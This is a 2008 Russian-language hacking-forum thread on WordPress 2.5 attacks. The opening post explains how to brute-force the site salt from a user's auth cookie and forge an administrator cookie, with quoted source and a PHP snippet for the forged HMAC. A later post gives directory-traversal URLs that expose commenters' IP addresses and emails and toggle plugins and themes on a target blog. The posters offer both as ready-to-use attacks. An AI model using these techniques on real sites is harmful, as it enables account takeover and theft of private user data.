WordPress 2.5 Cookies Manipulation

Discussion in 'Веб-уязвимости' started by Евгений Минаев, 3 Jun 2008.

  1. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

    "wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

    COOKIEHASH md5 хеш от имени сайта
    USERNAME Имя пользователя
    EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

    HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
    Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

    PHP:
    function wp_validate_auth_cookie($cookie '') {
        ........................
        list(
    $username$expiration$hmac) = explode('|'$cookie);
        
    $expired $expiration;
        ........................
        if ( 
    $expired time() )
            return 
    false;
        ........................
        
    $key wp_hash($username $expiration);
        
    $hash hash_hmac('md5'$username $expiration$key);
        ........................
        if ( 
    $hmac != $hash )
            return 
    false;
    }

    function 
    wp_hash($data) {
        
    $salt wp_salt();
        if ( 
    function_exists('hash_hmac') ) {
            return 
    hash_hmac('md5'$data$salt);
        } else {
            return 
    md5($data $salt);
        }
    }
    Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

    PHP:
    function wp_salt() {
        ........................
        if ( empty(
    $salt) ) {
            
    $salt wp_generate_password();
            
    update_option('secret'$salt);
        }
        ........................
    }

    function 
    wp_generate_password() {
        
    $chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        
    $length 7;
        
    $password '';
        for ( 
    $i 0$i $length$i++ )
            
    $password .= substr($charsmt_rand(061), 1);
        return 
    $password;
    }
    Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

    PHP:
    $hmackey      hash_hmac('md5''admin' '9999999999'$salt);
    $hmacpass     hash_hmac('md5''admin' '9999999999'$hmackey);
    Спасибо +toxa+ и W[4H]LF за потраченное на меня время

     
    7 people like this.
  2. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    и еще для размышления (будет в хакфаке в хакере в июне)
    XXX ВОПРОС XXX
    Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

    XXX ОТВЕТ XXX
    Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :) Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
    -редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
    -активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
    -активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
    -просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
    И многое другое :) Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
    З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
     
    3 people like this.
  3. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Дык это основано на том что фильтрует ./ и не фильтрует .\
     
    _________________________
  4. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    ->Дык это основано на том что фильтрует ./ и не фильтрует .\
    не путай, это две разные баги
    ЗЫ по ходу ВП тут мало кто разбирается =\
     
  5. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    пруфлинк: http://www.securityfocus.com/bid/28845
    WordPress 'cat' Parameter Directory Traversal Vulnerability (Vulnerabilities)
    еще раз повторяю: это 2 РАЗНЫЕ баги
    на секуритифокусе последняя не совсем разработана, я ее чуть больше поковырял